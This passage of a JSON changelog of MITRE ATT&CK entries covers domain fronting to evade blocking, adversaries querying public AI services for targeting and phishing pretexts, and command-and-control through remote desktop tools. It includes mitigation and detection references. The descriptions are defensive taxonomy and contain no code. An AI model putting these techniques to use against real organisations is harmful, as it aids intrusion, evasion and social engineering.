nowrap=\"nowrap\">d&nbsp;Blocking&nbsp;Resistent&nbsp;Communication&nbsp;through&nbsp;domain&nbsp;fronting&nbsp;2</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Blocking&nbsp;Resistent&nbsp;Communication&nbsp;through&nbsp;domain&nbsp;fronting&nbsp;20</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">015)&nbsp;Domain&nbsp;fronting&nbsp;involves&nbsp;using&nbsp;different&nbsp;domain&nbsp;names&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">15)&nbsp;Domain&nbsp;fronting&nbsp;involves&nbsp;using&nbsp;different&nbsp;domain&nbsp;names&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;the&nbsp;SNI&nbsp;field&nbsp;of&nbsp;the&nbsp;TLS&nbsp;header&nbsp;and&nbsp;the&nbsp;Host&nbsp;field&nbsp;of&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;SNI&nbsp;field&nbsp;of&nbsp;the&nbsp;TLS&nbsp;header&nbsp;and&nbsp;the&nbsp;Host&nbsp;field&nbsp;of&nbsp;the&nbsp;H</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">HTTP&nbsp;header.&nbsp;If&nbsp;both&nbsp;domains&nbsp;are&nbsp;served&nbsp;from&nbsp;the&nbsp;same&nbsp;CDN,&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TTP&nbsp;header.&nbsp;If&nbsp;both&nbsp;domains&nbsp;are&nbsp;served&nbsp;from&nbsp;the&nbsp;same&nbsp;CDN,&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hen&nbsp;the&nbsp;CDN&nbsp;may&nbsp;route&nbsp;to&nbsp;the&nbsp;address&nbsp;specified&nbsp;in&nbsp;the&nbsp;HTTP&nbsp;h</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;the&nbsp;CDN&nbsp;may&nbsp;route&nbsp;to&nbsp;the&nbsp;address&nbsp;specified&nbsp;in&nbsp;the&nbsp;HTTP&nbsp;he</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eader&nbsp;after&nbsp;unwrapping&nbsp;the&nbsp;TLS&nbsp;header.&nbsp;A&nbsp;variation&nbsp;of&nbsp;the<span class=\"diff_sub\">&nbsp;th</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ader&nbsp;after&nbsp;unwrapping&nbsp;the&nbsp;TLS&nbsp;header.&nbsp;A&nbsp;variation&nbsp;of&nbsp;the&nbsp;tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">e</span>&nbsp;technique,&nbsp;\"domainless\"&nbsp;fronting,&nbsp;utilizes&nbsp;a&nbsp;SNI&nbsp;field&nbsp;tha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hnique,&nbsp;\"domainless\"&nbsp;fronting,&nbsp;utilizes&nbsp;a&nbsp;SNI&nbsp;field&nbsp;that&nbsp;is&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;is&nbsp;left&nbsp;blank;&nbsp;this&nbsp;may&nbsp;allow&nbsp;the&nbsp;fronting&nbsp;to&nbsp;work&nbsp;even&nbsp;wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">left&nbsp;blank;&nbsp;this&nbsp;may&nbsp;allow&nbsp;the&nbsp;fronting&nbsp;to&nbsp;work&nbsp;even&nbsp;when&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;the&nbsp;CDN&nbsp;attempts&nbsp;to&nbsp;validate&nbsp;that&nbsp;the&nbsp;SNI&nbsp;and&nbsp;HTTP&nbsp;Host&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;CDN&nbsp;attempts&nbsp;to&nbsp;validate&nbsp;that&nbsp;the&nbsp;SNI&nbsp;and&nbsp;HTTP&nbsp;Host&nbsp;fields</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ields&nbsp;match&nbsp;(if&nbsp;the&nbsp;blank&nbsp;SNI&nbsp;fields&nbsp;are&nbsp;ignored).&nbsp;&nbsp;For&nbsp;exam</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;match&nbsp;(if&nbsp;the&nbsp;blank&nbsp;SNI&nbsp;fields&nbsp;are&nbsp;ignored).&nbsp;&nbsp;For&nbsp;example,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ple,&nbsp;if&nbsp;domain-x&nbsp;and&nbsp;domain-y&nbsp;are&nbsp;customers&nbsp;of&nbsp;the&nbsp;same&nbsp;CDN,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">if&nbsp;domain-x&nbsp;and&nbsp;domain-y&nbsp;are&nbsp;customers&nbsp;of&nbsp;the&nbsp;same&nbsp;CDN,&nbsp;it&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;it&nbsp;is&nbsp;possible&nbsp;to&nbsp;place&nbsp;domain-x&nbsp;in&nbsp;the&nbsp;TLS&nbsp;header&nbsp;and&nbsp;doma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;possible&nbsp;to&nbsp;place&nbsp;domain-x&nbsp;in&nbsp;the&nbsp;TLS&nbsp;header&nbsp;and&nbsp;domain-y&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in-y&nbsp;in&nbsp;the&nbsp;HTTP&nbsp;header.&nbsp;Traffic&nbsp;will&nbsp;appear&nbsp;to&nbsp;be&nbsp;going&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;the&nbsp;HTTP&nbsp;header.&nbsp;Traffic&nbsp;will&nbsp;appear&nbsp;to&nbsp;be&nbsp;going&nbsp;to&nbsp;domai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">domain-x,&nbsp;<span class=\"diff_chg\">however&nbsp;the</span>&nbsp;CDN&nbsp;may&nbsp;route&nbsp;it&nbsp;to&nbsp;domain-y.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n-x<span class=\"diff_add\">;&nbsp;however</span>,&nbsp;<span class=\"diff_chg\">the</span>&nbsp;CDN&nbsp;may&nbsp;route&nbsp;it&nbsp;to&nbsp;domain-y.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1020: SSL/TLS Inspection"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0196: Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--143122a8-fcda-4dd7-aded-5b9387d9c2d6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-03-25 14:21:30.680000+00:00",
                    "modified": "2026-11-03 23:53:43.727000+00:00",
                    "name": "Query Public AI Services",
                    "description": "Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for [Social Engineering](https://attack.mitre.org/techniques/T1684) approaches, identifying contact information for use in [Phishing](https://attack.mitre.org/techniques/T1566) or [Phishing for Information](https://attack.mitre.org/techniques/T1598), or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion.(Citation: MSFT-AI)(Citation: GTIG AI Threat Tracker)\n\nInformation gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., [Generate Content](https://attack.mitre.org/techniques/T1683) or [Establish Accounts](https://attack.mitre.org/techniques/T1585)). For obtaining access to AI tools and services, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "reconnaissance"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1682",
                            "external_id": "T1682"
                        },
                        {
                            "source_name": "GTIG AI Threat Tracker",
                            "description": "Google Threat Intelligence Group . (2026, February 12). GTIG AI Threat Tracker: Distillation, Experimentation, and (Continued) Integration of AI for Adversarial Use. Retrieved March 25, 2026.",
                            "url": "https://cloud.google.com/blog/topics/threat-intelligence/distillation-experimentation-integration-ai-adversarial-use"
                        },
                        {
                            "source_name": "MSFT-AI",
                            "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
                            "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Menachem Goldstein"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:53:43.727000+00:00\", \"old_value\": \"2026-05-12 15:12:00.621000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for [Social Engineering](https://attack.mitre.org/techniques/T1684) approaches, identifying contact information for use in [Phishing](https://attack.mitre.org/techniques/T1566) or [Phishing for Information](https://attack.mitre.org/techniques/T1598), or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion.(Citation: MSFT-AI)(Citation: GTIG AI Threat Tracker)\\n\\nInformation gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., [Generate Content](https://attack.mitre.org/techniques/T1683) or [Establish Accounts](https://attack.mitre.org/techniques/T1585)). For obtaining access to AI tools and services, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007).\", \"old_value\": \"Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for [Social Engineering](https://attack.mitre.org/techniques/T1684) approaches, identifying contact information for use in [Phishing](https://attack.mitre.org/techniques/T1566) or [Phishing for Information](https://attack.mitre.org/techniques/T1598), or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion.(Citation: MSFT-AI)(Citation: GTIG AI Threat Tracker)\\n\\nInformation gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., [Generate Content](https://attack.mitre.org/techniques/T1683) or [Establish Accounts](https://attack.mitre.org/techniques/T1585). For obtaining access to AI tools and services, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for [Social Engineering](https://attack.mitre.org/techniques/T1684) approaches, identifying contact information for use in [Phishing](https://attack.mitre.org/techniques/T1566) or [Phishing for Information](https://attack.mitre.org/techniques/T1598), or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion.(Citation: MSFT-AI)(Citation: GTIG AI Threat Tracker)\\n \\n-Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., [Generate Content](https://attack.mitre.org/techniques/T1683) or [Establish Accounts](https://attack.mitre.org/techniques/T1585). For obtaining access to AI tools and services, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007).\\n+Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., [Generate Content](https://attack.mitre.org/techniques/T1683) or [Establish Accounts](https://attack.mitre.org/techniques/T1585)). For obtaining access to AI tools and services, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007).\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to93__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to93__0\"><a href=\"#difflib_chg_to93__top\">t</a></td><td class=\"diff_header\" id=\"from93_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;query&nbsp;publicly&nbsp;accessible&nbsp;artificial&nbsp;intelli</td><td class=\"diff_next\"><a href=\"#difflib_chg_to93__top\">t</a></td><td class=\"diff_header\" id=\"to93_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;query&nbsp;publicly&nbsp;accessible&nbsp;artificial&nbsp;intelli</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gence&nbsp;(AI)&nbsp;services,&nbsp;such&nbsp;as&nbsp;large&nbsp;language&nbsp;models&nbsp;(LLMs),&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gence&nbsp;(AI)&nbsp;services,&nbsp;such&nbsp;as&nbsp;large&nbsp;language&nbsp;models&nbsp;(LLMs),&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;support&nbsp;targeting&nbsp;and&nbsp;operations.&nbsp;In&nbsp;addition&nbsp;to&nbsp;searching</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;support&nbsp;targeting&nbsp;and&nbsp;operations.&nbsp;In&nbsp;addition&nbsp;to&nbsp;searching</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;websites&nbsp;or&nbsp;databases&nbsp;directly&nbsp;(i.e.,&nbsp;[Search&nbsp;Open&nbsp;Websites</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;websites&nbsp;or&nbsp;databases&nbsp;directly&nbsp;(i.e.,&nbsp;[Search&nbsp;Open&nbsp;Websites</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/Domains](https://attack.mitre.org/techniques/T1593)),&nbsp;adver</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/Domains](https://attack.mitre.org/techniques/T1593)),&nbsp;adver</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">saries&nbsp;may&nbsp;use&nbsp;AI&nbsp;services&nbsp;to&nbsp;synthesize,&nbsp;aggregate,&nbsp;and&nbsp;ana</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">saries&nbsp;may&nbsp;use&nbsp;AI&nbsp;services&nbsp;to&nbsp;synthesize,&nbsp;aggregate,&nbsp;and&nbsp;ana</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lyze&nbsp;publicly&nbsp;available&nbsp;information&nbsp;at&nbsp;scale.&nbsp;This&nbsp;may&nbsp;inclu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lyze&nbsp;publicly&nbsp;available&nbsp;information&nbsp;at&nbsp;scale.&nbsp;This&nbsp;may&nbsp;inclu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;identifying&nbsp;individuals&nbsp;or&nbsp;organizations&nbsp;to&nbsp;target,&nbsp;resea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;identifying&nbsp;individuals&nbsp;or&nbsp;organizations&nbsp;to&nbsp;target,&nbsp;resea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rching&nbsp;organizational&nbsp;structures&nbsp;and&nbsp;personnel,&nbsp;identifying&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rching&nbsp;organizational&nbsp;structures&nbsp;and&nbsp;personnel,&nbsp;identifying&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">technologies&nbsp;used&nbsp;by&nbsp;target&nbsp;organizations,&nbsp;researching&nbsp;busin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">technologies&nbsp;used&nbsp;by&nbsp;target&nbsp;organizations,&nbsp;researching&nbsp;busin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;relationships&nbsp;to&nbsp;develop&nbsp;plausible&nbsp;pretexts&nbsp;for&nbsp;[Social&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;relationships&nbsp;to&nbsp;develop&nbsp;plausible&nbsp;pretexts&nbsp;for&nbsp;[Social&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Engineering](https://attack.mitre.org/techniques/T1684)&nbsp;appr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Engineering](https://attack.mitre.org/techniques/T1684)&nbsp;appr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oaches,&nbsp;identifying&nbsp;contact&nbsp;information&nbsp;for&nbsp;use&nbsp;in&nbsp;[Phishing</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oaches,&nbsp;identifying&nbsp;contact&nbsp;information&nbsp;for&nbsp;use&nbsp;in&nbsp;[Phishing</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1566)&nbsp;or&nbsp;[Phishing&nbsp;fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1566)&nbsp;or&nbsp;[Phishing&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;Information](https://attack.mitre.org/techniques/T1598),&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;Information](https://attack.mitre.org/techniques/T1598),&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;gathering&nbsp;derogatory&nbsp;or&nbsp;sensitive&nbsp;information&nbsp;about&nbsp;indivi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;gathering&nbsp;derogatory&nbsp;or&nbsp;sensitive&nbsp;information&nbsp;about&nbsp;indivi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">duals&nbsp;that&nbsp;may&nbsp;be&nbsp;used&nbsp;for&nbsp;extortion&nbsp;or&nbsp;coercion.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">duals&nbsp;that&nbsp;may&nbsp;be&nbsp;used&nbsp;for&nbsp;extortion&nbsp;or&nbsp;coercion.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MSFT-AI)(Citation:&nbsp;GTIG&nbsp;AI&nbsp;Threat&nbsp;Tracker)&nbsp;&nbsp;Information&nbsp;gath</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MSFT-AI)(Citation:&nbsp;GTIG&nbsp;AI&nbsp;Threat&nbsp;Tracker)&nbsp;&nbsp;Information&nbsp;gath</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ered&nbsp;through&nbsp;AI&nbsp;services&nbsp;may&nbsp;be&nbsp;leveraged&nbsp;for&nbsp;other&nbsp;behavior</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ered&nbsp;through&nbsp;AI&nbsp;services&nbsp;may&nbsp;be&nbsp;leveraged&nbsp;for&nbsp;other&nbsp;behavior</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;such&nbsp;as&nbsp;establishing&nbsp;operational&nbsp;resources&nbsp;(i.e.,&nbsp;[Genera</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;such&nbsp;as&nbsp;establishing&nbsp;operational&nbsp;resources&nbsp;(i.e.,&nbsp;[Genera</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;Content](https://attack.mitre.org/techniques/T1683)&nbsp;or&nbsp;[E</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;Content](https://attack.mitre.org/techniques/T1683)&nbsp;or&nbsp;[E</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stablish&nbsp;Accounts](https://attack.mitre.org/techniques/T1585</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stablish&nbsp;Accounts](https://attack.mitre.org/techniques/T1585</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)<span class=\"diff_chg\">.</span>&nbsp;For&nbsp;obtaining&nbsp;access&nbsp;to&nbsp;AI&nbsp;tools&nbsp;and&nbsp;services,&nbsp;see&nbsp;[Artif</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)<span class=\"diff_chg\">).</span>&nbsp;For&nbsp;obtaining&nbsp;access&nbsp;to&nbsp;AI&nbsp;tools&nbsp;and&nbsp;services,&nbsp;see&nbsp;[Arti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icial&nbsp;Intelligence](https://attack.mitre.org/techniques/T158</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ficial&nbsp;Intelligence](https://attack.mitre.org/techniques/T15</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">8/007).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">88/007).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0919: Detection of Query Public AI Services"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d4287702-e2f7-4946-bdfa-2c7f5aaa5032",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2025-03-24 22:24:47.684000+00:00",
                    "modified": "2026-11-04 03:19:00.616000+00:00",
                    "name": "Remote Desktop Software",
                    "description": "An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software tools, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) \n \nRemote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome\u2019s Remote Desktop.(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop) ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1219/002",
                            "external_id": "T1219.002"
                        },
                        {
                            "source_name": "CrowdStrike 2015 Global Threat Report",
                            "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
                            "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"
                        },
                        {
                            "source_name": "CrySyS Blog TeamSpy",
                            "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
                            "url": "https://blog.crysys.hu/2013/03/teamspy/"
                        },
                        {
                            "source_name": "Google Chrome Remote Desktop",
                            "description": "Google. (n.d.). Retrieved March 14, 2024.",
                            "url": "https://support.google.com/chrome/answer/1649523"
                        },
                        {
                            "source_name": "Chrome Remote Desktop",
                            "description": "Huntress. (n.d.). Retrieved March 14, 2024.",
                            "url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
                        },
                        {
                            "source_name": "Symantec Living off the Land",
                            "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
                            "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.0",
